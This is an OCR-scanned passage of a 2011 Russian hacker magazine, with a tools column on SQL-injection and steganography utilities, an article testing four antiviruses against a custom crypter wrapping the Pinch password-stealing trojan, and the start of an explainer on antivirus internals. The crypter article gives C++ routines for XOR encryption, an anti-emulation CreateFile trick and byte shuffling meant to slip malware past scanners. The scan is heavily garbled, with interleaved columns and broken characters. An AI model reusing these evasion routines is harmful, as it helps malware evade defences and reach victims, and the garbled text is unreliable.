SQLi, так и в случае инъек­ based. Функционал и особен­

позволяет скрывать текстовую информацию в

работа с различными СУБД;

заnускать внутри себя внешние nрограммы и

специальн ых <<невидимых>> облас тей. Этот ме­

графических файлах формата ВМР.

установка количества выбираемыхзаnисей для

UNION;

Пользоваться nрограммой не просто , а очень просто:

команды !наnример, пmар и пikto) и генериро­

базовый обход WAF с помощью различных

вать соответствующие отчеты в самых разных

замен стандартного nробела ;

форматах IHTML, MS Woгd и др.) . Слово Тгее !дерево) в названии тулзы

извлечение имен колонок и таблиц;

означает, что все данные в ней хранятся

просмотр nроизвольных файлов через БД;

в виде древовидной структуры, а слово

добавление различныхлимитов и ограниче­

Magic !магия)- что nроцессы уnравления

ний для составления корректного заnроса;

данными и составления отчетов, nредстав­

подсчет числа колонок, таблиц и баз данных;

выбрать файл с текстом или скоnировать

легкое nереключение между инъекциями

его из буфера обмена) и нажимаем на кноnку

типа stгiпg и iпtegeг

<<С nрятать ».

ляющие собой самую скучную и трудоемкую часть любого nентеста , неким волшебным

извлечение базовой информации о БД;

based.

1.

В соответствующем поле на вкладке <<Сnря­ тать » выбираем изображение-носитель.

2.

Заранее выбираем название для готового изображения.

3. Задаем параметры скрытия !цвет, частоту и пароль) .

4.

Вводим скрываемый текст !также можно

образом упорядочиваются и автоматизиру­ ются. Оnисывать здесь подробности работы

В целом эта утилита обладает такими же фича­

Скрытая информация будет совершенно

с nрограммой не слишком целесообразно,

ми, как и многие другие nодобные тулзы , одна­

незаметна для посторонних глаз , а nолученное

nоэтому советую тебе обратиться к nод­

ко достуn ко всему ее функционалу, в отличие

изображени почти ничем не будет отличаться

робной документации на английском языке,

от них, осуществляется с nомощью одного и

от оригинала: разница будет только в размере.

которая лежит по адресу www.gгemwell . com/

того же окна, что очень удобно для быстрого

Извлечь скрытый текст можно очень легко и

documeпtatioп .

составления заnроса для SQL-инъекций.

быстро nри nомощи этой же nрограммы .

ХАКЕР

12/155/2011

083

www.epidemz.net


Тест антивирусов по-взрослому ВДАРИМ КРИПТОРОМ ПО САМЫМ ПОПУЛЯР­ НЫМ В РОССИИ АНТИВИРУСАМ Сегодня в наших испорченных ассемблером умах зародилась очередная бессовестная идея . Мы решили надругаться над тем, что защищает нас от злобных вирусов и троянов,

Прежде чем приступать к тестам, нужно немного разобраться, что и зачем мы будем делать. Итак, у нас есть супер-пупер у паковщик , который умеет криптовать и запускать всяческие е хе -файлы. Мы

стара тельно написали его спе циально для такого случая

;1.

Если кто не знает, упаковщики очень популярны в современном вирмэйк-мире. Вир усы давно уже переросли стадию « n ары сотен строк кода» и п ревратились в полноценные про гр аммные про­

д укты, которые устроены на порядок слож нее . Однако доблестные служители кибер п орядка по стоянно портят з лым программистам жизнь. Для обхода детектов крайне невыгодно постоянно пере­ писывать вирь , и п оэтому серьезные пацаны юза ют крипторы, или ,

по-другому, упаковщики. Н а ни х и возлагаются все обязанности по обходу антивирей. Мы будем тестить реак ци ю аверов н е на весь криптор в целом, а

на спря т анный внутри него вирус, тело которого мы буд ем всячески шифровать . То есть фактически мы будем проверять, насколько ум ны алгоритмы защит н ого софта и могут ли они распознавать со д ержа­

единственная цель которых- проникнуть в

щ ийся внутри пакера вирус . Стоит сразу отметить, что эти д ово л ь н о

наши беззащитные компьютеры и уничтожить

с п е ци фические тесты проверя ют далеко не все механизмы обнаруже ­

жизненно важные данные, заставив нас при

этом отправить парочку платных СМС. Что из этого вышло- читай дальше.

ния заразы.

СПИСОК ИСПЫТУЕМЫХ 1. Kaspersky Crystal . Для тестов мы выбрали четверку сам ы х по­ пулярных в России антивирусов. Первым в очереди будет Kaspeгsky

notepad2.exe ·

о

О•нбка прнJЮ женн•

Cгystal- флагманский продукт << Лаборатории Касперского». ПО от этого производителя хорошо известно н е только у на с на родине, но

•еж" ·• иеерwение nрнооження "0-mена• ·- ОТМАК~ ~1*1Я

и во всем мире. <<Лаборатория Касперско го>> использует для за щ и т ы ничего не подозревающего пользователя самые последние техно л о­

гии, в том числе и широко рас пр остраненные сейчас << облака ».

2. Dr. Web Security Space. Следующим идет О г. Web Secuг i ty Space, Kpaw

« Блокнота» при зашифровке неправильным ключом

известнейший продукт от компании << Доктор Веб» . Глав ная его

ХАКЕР

www.epidemz.net

12/155/2011


Тест антивирусов по-взрослому

гордость- это уникальная технология у ниверсальн ой распаков-

i" Dr Web Scanner

ки FLY-CODE, которая, по утверждению разработчиков, позволяет

антивирусу справляться с неизвестными у паковщи ками.

3. ESET NOD32 Smart Security 5. Тр етий в списке - ESET NOD32 Smaгt Secuгity 5. Словаки сумели создать неплохой антивирус,

Scanning completed.

Dr . WeЬ

Scamer detected 111reats.

It is hgh~ recorrmended that аН detected threats apply actions accord1ng to settings.

который пользуется уважением в том числе и среди наших со­

отечествен.ников. К сожале нию , на сайте этого защи тного ПО, в отличие от сайта того же << Доктора Веба >>, ничего не говорится о

Threats detected:

1

Threats neutraize1:1:

О

Ье

neutralized iпned~tely.

с..wеЬ SCanлer

W1l

навыках распаковки.

4. Avast! Free Antivirus. Ну и последний участник сегодняшних испытаний- это Avast! Fгее Antiviгus. Единственный из наших

----- - - - ---,----------1

File name

nодопытных, который раздает себя даром , но при этом имеет и

pinch_c.exe

платную версию.

Threat

Action

Path

Troja1.Packed.ll97

Jr:~=-..,.-e---~г.-.1

C:\dCrypt\pinch_c.exe

6) lide ~1ом1 Worтмtion

НЕМНОГО ТЕХНИЧЕСКИХ ДЕТАЛЕЙ Для полного nонимания nроисходящего нужно немного разобраться в технических деталях. Наш упаковщик криптует весь ехе целиком,

<<Доктор Веб>> успешно проходит первое испытание

а не каждую секцию в отдельности. Мы создаем РЕ-болванку со стабом и nомещаем в ее секцию ресурсов бинарь. При запуске стаб

антивирус обладает начальными навыками эмуляции , то он должен

расшифровывает закриптованный вирь, nравильно раскладывает

раскусить наш трюк. Чтобы проиллюстрировать процесс криптова­

его секции в nамяти и nереда ет управление на точку входа. Все

ния, рассмотрим код ниже .

nросто. Имnорт оболочки со стабом генерируется рандамно или берется из живого ехе, так как набор API, который мы исnользуем в

Криптаванне бинаря с

коде распаковки и запуска ехе, nросто кричит о том, что мы право­

PVOID

нарушители.

{

Мы постарались сделать код ста ба максимально неприметным

DWORD key

xor pfile, DWORD fsize)

помощью алгоритма

cryptBiпary(PVOID

= 0х45F98Зде ;

для аверов , хотя в нем не используются всякие полиморфизмы и

маскировка nод НLL-код. Таким образом, мы хотим сосредоточить

PVOID crypt_file = new BYTE[fsize]; CopyMemory(crypt_file, pfile, fsize) ;

внимание антивирусных программ т олько на секции ресурсов, в

которой содержится зловред . Защитное ПО должно будет расшиф­

for (size_t i

ровать и задетекти ть вирус, спрятанный внутри упаковщика. Для тестов мы взяли самый настоящий вирь под на званием

= е;

i < (fsize 1 sizeof (DWORD)); i++)

{

Pinch. Этотехе-файл валялся у нас уже пару лет, поэтому его долж­

((DWORD*)(crypt_file))[i]

л=

key;

ны знать все испытуемые. <<Касперский Кристал>> обозвал вирус

как Tгojaп-PSW.Wiп32.LDPinch.dlt, Dг. Web- как Tгojan.Packed . 1197, NOD32- как Win32/PSW.LdPinch.NMJ, а Avast решил, что это Win32:LdPinch-NO [Тгj]. Более того, для чистоты эксперимента мы

return crypt_file;

уnаковали и прогнали через сканеры аверов абсолютно безвред­

ный файл пotepad.exe. Благодаря этому мы удостоверились , что наш

Теnерь проверим, как наши а веры сnравятся с этой задачкой . << Ка­

упаковщик чист перед лицом киберзакона.

сnерский >>, нисколько не сомневаясь, обнаружи л упакованный вирь.

ii:Wi~··

подвел и задетектип Пинч . А вот NOD32 Smaгt Secuгity 5 облажался:

Причем точно назвал его Пинчем , как и оригинал. О г. Web тоже не

Для первого теста мы у пакуем наш вирус без всякого шифрования . Т о

по его мнению, файл был абсолютно безвреден. То же самое сказал и

есть MZ- и РЕ-заголовок, секция импорта и прочие подозрительные

Avast, который не нашел ника ких признаков вирусного присутствия.

вещи будут видны в секции ресурсов контейнераневооруженным

НОД и Аваст завалили испытание. Это очень плохо. Если такой про­

глазом. Н о при этом мы все-таки пойдем на одну хитрость- возь­

стой алгоритм, как хог, смо г их запутать, то что же будет дальше?

мем секцию импорта из нашего любимого пotepad.exe. Г енерировать случайный импорт- дело неблагодарное, поскольку очень многие

~VOStl

антивирусы в первую очередь проверяют именно секцию импорта, и

неудачный набор используемых АРI-функций может сильно подпор­

SCAN

-

тить общую картину. Первым сработал Kaspeгsky Cгistal. Пара секунд раздумий- и вирус обезвреже н . Таким же эффективным оказался и << Доктор

Веб >> . NOD32 Smaгt Secuгity без труда раскусил хит рый ход и вычис­

....

-

х

"C:\dcrypt\pinch_c.exe"

'

Scan complete, NO THREAT FOUND

лил, что криптаванным вирусом является Win32/PSW.LdPinch.NMJ. И даже Avast легко справился с за дач ей, попутно указа в смещение в файле, по которому храни тся зловре д .

Runtime:

Все а веры ус пешно справились с первым испытанием, все nолучают зачет. Если бы кто-то из них завалил тест, то был бы недо­ стои н называться антивирусом, а на его создателей можно было бы

п о давать в суд- как минимум за причиненный моральный ущерб

:1.

Т ested

fileslfolders:

0:00:02 4/0

Amount of data tested:

605.0

lnfected files:

о

кв

il§ii~i.l Второе испытание мы решили немного усложнить . Для этого перед упаковкой зловреда мы криптуем его 32-битным ключом. Алгоритм шифрования примитивен до безобразия- зто про с той хог. Ключ,

который мы используем, хранитс я прямо в коде ста ба, позтому если

ХАКЕР

«Аваст» не сnравился с хог

085

12 /155/ 2011

www.epidemz.net


MALWARE

ЧЕСТНО ЛИ ИГРАЛ

KASPERSKY?

5ca:v1i1g completed. Dr.Web scamer detected tiтeats. lt ls htQh/y recommended that al detected threats Ье neutralized lrтmediately.

Or.WeЬ

SCanner wll

apply actJOns accorcfi'lQ to setthQs.

Такие выдающиеся результаты, которые показал Kaspeгsky Cгystal,

Тhreьts

кажутся нам немного странными. Во-первых, чистый трой без упаковки

ThreMs neutr61ized: О

detected:

2

детектил~я как Tгojaп-PSW.Wiп32.LDPiпch.dlt, а все последующие его NeutrE8ze

модификации, полученные с помощью нашего криптора, о п ределялись как Tгojan-PSW.Wiп32.LDPiпch.zie. Одинаковое название во всех шести испытаниях подталкивает нас к мысли, что авер каким-то

образом успел выделить сигнатуру за ш ифрованного Пинча. К

File name

Thre at

Actlon

• pi1Ch_c.exe

!1!!.~~-{l[!t!Y~

1'-'-Мc = ve"__ _IL•:.JI C:\dcrypt\phch_c.exe

Path

сожалению, при разработке нашего у п аковщика мы тестировали

его на том же вирусе, который использовали сейчас. Возможно, одно неаккуратное движение и позволило <<Касперу>> отправить подозрительный файл в недра своего <<облачного>> мозга.

У же н е

Pinch,

но х оть что-то

Так как наша п ервоначальная цель сос т ояла в том, чтобы уз н ать,

насколько хорошо а ве р ы справляются с рас ш ифро в кой упакованных зловредов, такой скан п о сиг н атурам не позволяет н ам суд ить об эффективности <<Кас п ера>> в ре ш ении этой задачи. Мы, конеч н о, не

@Сканирование ПК - "ESET Smart Securtty

:~~

Сканирование компьютера

разбирались, на что именно он реагирует, но в одном из сле д ующих номеров мы плотно займемся этим вопросом, а заодно узнаем, чего

не надо делать в крипторах, чтобы на них не ругалея <<Антивирус

Сканирова ние за вершено

Касперского >> .

Ска н и рован и е завер ш ено за о се кунд .

Кол и чество nросканированных объе кт ов : Кол 11 чество зараженных объектов : 1

1

Количество очищенных объектов: О C : \:lcrypt~_c.exe

ii:Willl

• мод>$1111рооаt1Нt>Й l'iin32j1>SIY.L<I>nch.NМJ трояна<ая nрогранна

Теперь, когда мы узнали , что простой хог н епостижим для не ­

QK

ко т орых представителей антивирусной ин д устрии, об р атим на ш е внимание на Kaspeгsky и О г.

Web,

испугать которых оказалось не

так просто. Усложним задачу и добавим нем н о г о а н тиэмуля ц ионных

трюков. В на ш ей рубрике в 142-м номере журнала мы тестировали

NODЭ2 с илен в обнаруж ении некриn т ован ных вирусов

эвристику аверов . Применим этот опыт, чтобы модифицировать процедур у криптования за счет вызова системной

Расшифровка происходит только в том случае, если вызов CгeateFile

API.

Будем использовать функцию CгeateFile , чтобы открыть файл

возвращает значение, отличное от

INVALID_HANDLE_VALUE.

По нашей

nt l dг. Если открывать этот файл, находящийся в корне системного

задумке, это должно сбить аверов с толку, так как они не смогут пред­

диска, только на чтение, мы получим заранее известный результат,

сказать, какое именно значение вернет эта

который точно не будет равен

INVALI D_HANDLE_VALUE.

В прошлый

API.

Однако, начав с << Касперского » мы поняли, что на ш и надежды не

раз ни один из испытуемых не смо г раз г адать этот трюк. Посмотрим,

оправдались. Так же как и раньше, он весело и беззаботно п оказал нам

что будет те п е р ь, но прежде взглянем н а код, ч т обы понимать, как

окно, в котором краеовалось название Tгojan-PSW.Win32 .LD Pinch . zie. А

именно испо л ьзуется Cгeate F ile.

вот О г.

Web Secuгity Space

н асторожился . Он не смог п онять, что за зверь

п еред ним, и назвал е го просто l пfected Aгchive.

CreateF i le PVOID cryptBinary( PVOI D pfile, DWORD fsize) Код к р иптования бинаря с помощью

{

PVOID crypt_file ; new BYTE[fsize]; CopyMemory (crypt_fil e, pfi le, fs i ze);

NOD32

и

Avast

Fгее

Antiviгus завалили тест. Те п ерь уже можно смело говорить о лидерстве первых двух испытуемых.

ii:tiilli.J Третий тест натолкнул нас на очень интересную мысль: а что если

успешно сработавшие а веры не эмулируют код пакера для расшиф­

HANDLE h ; Create FileA( "e:\\ntldr" , FILE_READ_ACC ESS, е , е , OPE N_EXISTING, е , NULL ); if (h J; INVALID_HAND LE_VALUE )

ровки троя на, а используют такое понятие, как энтропия , или мера

порядка? То есть прежде всего проверяют не сами байты внутри файла, а последовательность их расположения? Грубо говоря, даже в зашифрованном файле можно выделить секции с данными,

РЕ-заголовок и прочие структурные элементы. Д ляпроверки этой

{

DWORD key ; 0х45F98Зде ; for (size_t i ; е ; i < (fsize 1 sizeof (DWORD));

теории мы за ш ифровали вирус не п равильным к л ючом, так чтобы при запуске вирус не был расшифрован, а следовательно, не н ачал ис­

полняться . Например, если закриптова т ь таким образом

notepad.exe

и дважды по нему кликнуть, то мы получим сообщение об аварийном

i++) {

завершении программы.

(( DWORD*)(c rypt_fil e))[ i ] }

л;

key;

Запустив процедуру сканирования, мы получили следующие ре­ зультаты: << Касперский >> и << Доктор Веб >> успешно обнаружили угрозу, а вот

NOD32

и

Avast

не смогли распознать ее . Результаты теста

оказались полностью аналогичны предыдущим. Это стало для нас

return crypt_file ; }

лишним аргументом в пользу того, что антивирусы действительно ис­ пользуют законы энтропии. Даже неработоспособный Piпch заставил лидеров наших испыта н ий обеспокоиться.

ХАКЕР

086

www.epidemz.net

12 /155/2011


Тест антивирусо в по-взрослому

ii!liifli Предыдущий тест по казал одну важную вещь- ш ифро вать надо

тщ атель ней . Простой хо г с антизвристическими уловками н е смог обмануть таки х гигантов, как << Каспер >> и Dг.

Web, по зтому мы р еш или

в се т щательно взболтать и перемешать . Для начала мы просто перемести м первые 256 байт троя в его ко нец. Таким образом мы надеем ся в достаточной сте пени увеличить

Kaspersky CRYSTAL обнаружнл вредоносное программное обеспеченне.

эн тропию, чтобы а веры не смогли обнаружить зловред. Перемещаем

начало виря

в

его

Необходнма спецнальная процедура лечення, требующая обя3ательноИ пере3агру3ки

конец

PVOID cryptBinary(PVOID pfile, DWORD fsize)

компьютера . Перед началом рекомендуется

закрыть все работающне программы .

{ DWORD key

= 0x4SF983A0;

Вы мотнте выполннть процедуру лечення?

PVOID crypt_file = new BYTE[fsize]; CopyMemory( crypt_file, pfile, fsize);

11

меняем начало и

Объект: C:\dcrypt\pinchЗ.exe

конец местами

CopyMemory( crypt_file, (VOID*)(((BYTE*)pfile) + 0х100 ), fsize - е х 1ее ); CopyMemory( (VOID*)(((BYTE*)crypt_file) + (fsize - 0xlee ))J pfile,

Троянекая программа :

Trojaп-PSW.Win32.LdPinch.dlt

+ Да, выполнить (рекомендуется} Будет выполн ена спеw1альная процедура лечения, по

ех 1ее );

окончании которой компьют ер будет перезагружен .

for ( size_t i = е ; i

<(

(fsize 1 sizeof (DWORD)); i++)

{ ((DWORD*)(crypt_file))[i]

л=

+ Нет, не выполнять

Объект будет обработан в соответствии с выбранным ранее действием, компьютер не будет п ерезагружен.

key;

Вы ltСПользуете пробкую вероtю. Реко~1ендуется nр1юбресТ1t ком~1ерческую версию.

return crypt_file;

Заnус тив наши антивири, мы пол учи ли абсолютно такой же результат, как в тесте

NQ4.

Kaspeгsky Cгystal и Dг.

Web

ус пешн о

спра вились с зада ни ем, а вот их восточноевропейские братья капи­

тулиро вали . Е сли честно, мы не ожидали от российского защитного

« Касперский )> детектит оригинальную версию Пинча

ПО такой эффективности, но, с другой сторо ны , приятно, что у нас неплохо делают хоть что-то выс окотех нологичное . Впрочем, впереди еще одно, п осле дн ее, исnытание.

ll:liifM

delete [] buff; swa pMemBlock(begin , begin + half); swapMemB loc k(begin + half, end);

Для заключительного теста мы решили полностью перетасовать бай­ ты в криптуемом файле. Для это го мы разделилитрой на дв е равные

Тут нас ждал небольшой сюрприз. В отличие от Kaspeгsky, кото­

части и поменяли их местами. Затем каждую из этих п оловинок оnять

рый снова заде т ектил угрозу, Аваст и

поделили и nереставили и так дал ее, до самого п осле дн его бай тик а.

ли выполнять свои прямые обязанности . А вот << Доктор Веб >> не смог

NOD32 по-прежнему не захоте­

Таким образом, пол у чил ся рекурсивный алгоритм, который н а С++

ра зобраться с ре курсивным беспо рядк ом и со спокойной совестью

выглядит так:

записал зловре д а в команду хо роших пр ограмм. Kaspeгsky Cгystal вырвался вперед. Более того, он стал безоговорочным лидером в

Рекурсивный алгоритм nеРемешивания файла

void swapMemBlock(ULONG begin, ULONG end)

{ ULONG half = (end - begin) 1 2; i f (h<Jlf < 0 х4 ) return ;

,,...,.,.

сегодняшних испытаниях, но об этом- ниже .

Итак, се годняшним по бедителем стал Kaspeгsky Cгystal, который успе шн о прошел все ш есть тестов. Чистая победа! Dг.Web Secuгity

Space выдержал пять испытаний. Его хваленая технология FLY-CODE оказалась не такой уж те хно логичной- нащупав один раз слабое ме­

ВУТЕ

*buff

= new

BYТE[end

- begin];

=

ZeroMemory(buff, end begin); CopyMemory(buff, (PVOID)begin, end - begin) ;

сто, его можно эксплуатировать очень долго . В хвосте плетутся

ESET NOD32 Smaгt Secuгity 5 и Avast! Fгее Aпtiviгus , которые завалили пять

тестов из шести и даже не смогли об нар ужить вирус, зашифрованный с помощью простой процедуры хог. Впрочем, победа << Касперского >> кажется нам очень подозрительной, позтому настоятельно советуем

CopyMemory( (PVOID)beg;i,[l, &buff[half], half); CopyMemory((PVOID)(begin + half), buff, half);

прочитать врезку.

На сегодня противоантивирусная лаборатория журнала <<Хакер>> прощается с тобой. Д о новы х встреч и не заражайся! ::Х:

ХАКЕР

087

12/155/2011

www.epidemz.net


MALWARE

Евгений Дроботун l2010741amail.гul

РАСКОВЫРИВАЕМ АНТИВИРУСНЫЙ СКАНЕР, ЭВРИСТИЧЕСКИЙ АНАЛИЗАТОР И ЭМУЛЯТОР В АНТИВИРУСНЫХ ПРОГРАММАХ

-

На диске можно найти дистрибутив

свободно распространяемого

антивирусного сканера ClamWin, который представляет собой аналог ClamAV под Windows. и антивирусную утилиту AVZ от одного из ведущих специалистов

сеЛаборатории Касперского » Олега Зайцева .

К сожалению, практически все разработчики антивирусного ПО тщательно скрывают внутреннее устройство своих творений, прячась за общими названиями типа «сигнатурный поиск», «эвристика», «эмуляция»,

«проактивная защита», HIPS и т. п. [при подготовке этой статьи мы пытались

обратиться за помощью к создателям антивирусов, :] но безрезультатно]. Однако мы все же попробуем заглянуть внутрь антивирусных программ и

посмотреть, что же они представляют из себя на самом деле .

Про разные алгоритмы nоиска

подстроки в строке можно почитать

здесь :

qoo q(/Us(tc

о На qoo.qJ/KqЗkw лежит исходник антивируса , основанного на алгоритме

поиска сигнатур в файлах !алгоритм Бойера-Мура), от Василевского Дмитрия

(BiackCash!. о На qoo ql/ul848 лежат исходники простейшего эмулятора исполняемого кода на С++, а на goo gl/ubwot исходники простейшего антивирусного сканера на (++.

ХАКЕР

088

www.epidemz.net

12/155/2011


Изучаем антивирус

1' д н

О •Си гнаrурное детектирование •

а л и т и ч е

О .э аристи ка • О « Проактианая за щита •

с

Сложное

к и

сравнение

й

lmтm=тm=rт>J (Во:lрасп н ие уровня

ltltнti+tt!tii+ttftн-•

Считывание

Виртуализация

О • Пеrочн и ца •

0

файлов

к о м

О .э мулятор•

абстракции)

«HIPS•

О «Детектирование анома лий •

n

о

(2]

н е н

Сравнение состояния системы с эта поном

1Ш Оце нка состояния систе мы

т

по набору показатепей

fРисунок

Технический компонент

~

1. Общая схема технологий, используемых для обнаружения вредоносного кода (источник : viгulist .c oml

ОБЩАЯ МОДЕЛЬ АНТИВИРУСНОЙ ЗАЩИТЫ Для более ч еткого понимания того, как работает антивирусная защита, представим ее в виде совокупности двух компонентов ­

технического и аналитического . В принципе, в любой системе защиты можно так или иначе выделить эти дв а компонента: например, видеокамеры в торговом зале супермаркета - э т о

технический ком п о нент защи ты , а охра н ник возле монитора­

анали тич еский . В антивирусных программах эти компоненты обяза т ел ьн о разделены на функциональном уровне, но не всегда разграничены на уров н е алгоритмов и программных модулей

[рисунок 11. Технический компонент - это совокупность программных функций и алгоритмов, обеспечивающих аналитический компо­

нент данными для анализа. В качестве таковых могут выступать, к примеру, байтовый код файла, текстовые строчки внутри файла, е дин ичное д ействие програм мы в рамках операционной системы или целая цепочка таких действ ий .

Аналитический компонент- это система принятия решений, которая анализируе т имеющиеся в ее распоряжении данные и

выносит о них некое сужде ние . В соответствии с этим суждением антивирус предпринимает о пред еленные действия: опове щ а-

Рисунок 2. Содержимое файла с md5-сигнатурами антивирусного сканера Выделены : сама md5-сигнатура, размер и название малвари

е т пользователя, запрашивает у него дальнейшие указания,

ClamAV

помещает файл на карантин, блокирует несанкционированное действие программы и т. д .

В рамках предложенной модели любую систему защиты можно представить в виде совоку пн ости двух независимых составляю­ щих : технического и анали ти ческого компонентов определенных

типов. Такой подход позволяет легко увидеть соотношение этих компоне нт ов и их принципиальные плюсы и минусы.

СИГНАТУРНЫЙ ПОИСК (КЛАССИКА ЖАНРА) Исполь зова ть си гнат у рный поиск в той или иной модификации для об нар ужения вир усо в и др у ги х вредоносных программ начали уже сам ы е п ер вые антивирусы. В об щ ем случае сигнатура - это

уникаль ная строка [после довательн ос т ь! байт, которая однознач­ но соответствует той ли иной вредоносной программе . Понятно , что чем длинн ее сигнатура, тем меньше вероятность ложного

срабатывания антивируса , сле д овательно, идеальной сигнатурой является весь ко д вредоносной программы. Но с учетом того, что 8мltCf080npoan'~03И80

количество вредоносных программ постоянно растет, нетр у дно

.a•eт-,A~moe~~lloaбoill.-.o~

представить, сколько места заняли бы в этом случае антивирус­

ные базы на твоем жес тко м ди ске . К слову сказать, количество за­ писей в базах современных антивирусов уже превышает несколь-

ХАКЕР

Рисунок

3. Содержимое файла

с НЕХ-сигнатурами антивирусного сканера

ClamAV

089

12/155/2011

www.epidemz.net


MALWARE

ТЕХНОЛОГИИ, УСКОРЯЮЩИЕ

СИГНАТУРНОЕСКАНИРОВАНИЕ НачатЬ, наверное, стоит с технологии, которую сnециалисты из

<< Лабор атории Касnерского >> на зывают iCheckeг. Она nозволяет н е nров ерять уже nров ере нное , если оно не nодвергалось никаким из­

менениям . Антивирус ведет сnециальную базу с контрольными суммами nроверенных объектов. Прежде чем nроверять файл по сигнатурам, сканер смотрит, менялея ли файл nосле nоследней nроверки: если не менялся, то nров еркаэтого файла по сигнатурам не выnолняется . Такая технология в т ом или ином виде реализована во многих антивирусных

nродуктах. К nримеру, в антивирусной утилите

Panda Softwaгe ее называют UltгaFast, а в AVZ она работает на основе базы, содержащей

контрольные суммы безоnасных lпроверенных и неинфицированных) объектов lто есть <<а нтивирус наоборот >> ) . Технология

iSwift

!ранее носила имя iStгeam) nредставляет

собой модификацию технологии iCheckeг для файловы х систем

NTFS.

Рисунок

Она основана на исnользовании альтернативных nотоков

5. Пример <<н ормальных >> атрибутов секций

кода и секций данных

для хранения информации о результатах nроверокфайла и nрименении сnециального алгоритма, который nринимает решение о

внутри кода !плавающий участок!; какой-либо секции; участка

необходимости nроверки.

оnределенной длины, который начинается с точки входа, и т.

n.

Помимо контрольных сумм участков вредоносного кода, антивирусы могут исnользовать так называемые НЕХ-сигнатуры,

Об nасУ ~~о nоиDЦ& Tиnw ф&Апов Поро.нетрw no~

-

которые nредставляют собой последовательности байт относи­

="'-

тельно небольшой длины [обычно от 20 до 400 байт), взятые из тела вредоносного кода.

Методика nечени11

IГ:::;:.:~~~~~;;!~~~~~=====, !:) BiollOf'IНj!TfloЛ9Ч8Нto48:

'i""ii';!!. ""'-"'

l \ft, оDо О

о

$.0 1

ГО IБ!I

~

"""'"" lakerica

~gernonUPX

а

~erLIPX

,......

: !:l.nOIНITit

Стоит отметить, что от тщательности nодбора этих строк

&Ш1ш;

i !:l.t:lcлiiTilo

зависит однозначность оnределения вируса и частота ложны х

-.:

' !:Шол!Пiо

срабатываний . Строка должна быть уникальной , то есть вер оят­

OrdeтnonUPJ<

=mWorв r.:~=.,"'.:'-':·0'--,-••-,- - - 1 1

P2PNorm.Wк!З2.Polr.ю

8lii<Woll:

о..., UI'X

Тоn~око отчет

__) Эвристическое ~ние

f:] Проеер11т1t э~ npoцecx:w

r:J Эермстичесхь nроеерко с:истемw Про т окоn

~еркс ':с:: ...,.. =,."--------------

и очень не велика.

файлов

~ f::onиpoesт~~o ~11811Ы8 фf»>nw е IШ!cted

!:] Коnировот~~о nодоsрмте~~~онwе 11 керантин

,._,ЕJО:П-="="" ""' = '=="= -"-~':':::: '":::"""' ='"::_________, ~ =CI[riayэa1

LO Oro!l 1 ~

--------- •

Проеерка nам!llти OTIU'!Кiчetie. nоnьэователем

~~ ~··м~ ~"'"' ~'~""' ~·~~~~ ~~---------~~----~--~ F.'f"Нt\JI'Qdlonll\()rder LIPX\()rder.Doc ,."..В имени ф8Аnа бot'W18 5 npoбenoe:•J, ~ ПpoeepкaotКfiiOЧeнanon~~osoee.тen8t1

-~~.1"'

5.1"'\сжскnерехве.тЧI«Ое собwтнА ~Т!:!ры,h-tышWокок (l<eylogger. тро111-!ОU48 DЩ

,

Проверка отключена nол~~оsоее.теnем

6. ГlоискоТ!IрЫТWК noproв TCPIIJDP. ИCJlOIII>З!:jBHЫX ередонООiЬIМИ nроrраммеми

:: : : :;.

Рисунок'· Маскировка расширения файла , выявленная

Такие сигнатуры могут быть постоянными !для nоиска только одного вида вредоносных nрограммl или содержать разные маски !для поиска нескольких вирусов одного семейства или разных модификаций одного и того же вируса). На рисунке 3 nоказаны НЕ Х-сигнатуры из базы сканера

ClamAV. Среди

daily.cvd

уже знакомого нам антивирусного

ни х nрисутствуют как nостоянные сигна­

туры, так и сигнатуры с разными масками. Кроме выделенных на рисунке масок, существуют и другие: проnуск любого количества байт, проnуск строго оnределенного количества байт, выбор одно­

Проверка OtКIIIOчeнa non~oэoвl!lreneм 17. ЭеристичеОtаfl npoвepкe.cwcreмw

:r:::::

ность ее nовторения в безопасных nрограммах должна быть очень

го байта из нескольких . Итак , с самими сигнатурами все ясно . Чтобы nонять, как они исnользуются, рассмотрим нашу двухэлементную схему. Техниче­

AVZ

ский компонент сканера предоставляет аналитическому комnо­

ненту либо контрольную сумму нужного участка или всего файла, ко миллионов . Поэтому в большинстве случаев слишком длинные

либо проверяемый объект [файл или участок nамяти! в виде

сигнатуры nред став лены в виде контрольных сумм. Как nравило,

nоследовательности байт, в которой и nроводится nои ск НЕХ­

исnользуются md5- хэ ши участков вредоносного кода или всего

сигнатур. В nервом случае аналитический ком nонент сравнивает

вредоно сного файла.

полученную контрольную сумму со всеми соответствующими за­

Для nримера можно рассмотреть содержимое баз антивируса

ClamAV.

Это один из немногих, если не единственный широко ис­

nользуемый антивирус с открытой структурой, который позволяет

nисями в базе сигнатур и в случае совnадения поднимает тревогу. Во втором случае выполняется так называемый nоиск nодстроки

в строке, то есть nоиск всех сиг натур в проверяемом объекте.

в том числе nосмотреть , из чего состоят антивирусные базы. В них

Конечно , если искать сигнатуру в файле простым nобайтным

содержатся два основных файла в уnакованном виде:

сравнением, то этот nроцесс затянется достаточно надолго . Для

daily.cvd.

main.cvd

и

После расnаковки каждый из этих файлов распадается

на несколько други х с разными видами сигнатур. На рисунке

2

пока заносо держимое файла с md5-сигнатурами . Все достаточно

ускорения такого nоиска применяется много разных алгоритмов,

самым известным среди которых является алго ритм Байера-Мура. Антивирусы исnользуют для своих целей специально оnтимизи­

просто: каж дая заnись содержит неnосредственно md5-хэш, да­

рованные алгоритмы , nричем они могут различаться для разных

лее идет длина сигнатуры, после чего следУет название мал вари .

тиnов файлов !одно дело- искать строку текста, например, в

В качестве сигнатур антивирусы могут использовать хзши разных

JS-скрипте, и совершенно другое- последовательность байт в

участков кода: всего вируса; прои з вольнаго участка оnределен­

исnолняемом файле). Сигнатурный nои ск осуществляется либо по

ной длины , взятого из конкретного места внутри кода; nроиз­

заnросу nользователя !это умеют делать все антивирусы), либо пу­

вольного участка оnределенной длины , взятого из любого места

тем неnрерывного мониторинга обращений ко всем файлам и про-

ХАКЕР

090

www.epidemz.net

12 /155/ 2011


Изучаем антивирус

... CFF

Explo ~t VП

Filt. Sdtings

Пусть, к примеру, антивирус должен регистрировать следующие особенности:

l:Jfile: W'tn32.PMYo.ue г- ш ао;.:;:

Flo.,._

""""".,._

f!11Wa [hctolles lxl

f- 111 ""'"" """"'"1 f1 """' '"''"'' г Rescuco Dhctory. 1

Г

=@J

• (Wi n32. P!il~vcм!~]

?

N~me

VirtuJI Size

VirtuJIAddress IR•wSize

1Rtw Address

1Reloc

00000178

00000180

00000184

Jooooo188

Jooooo18c

Jooooo190

Byte(BJ

Owo<d

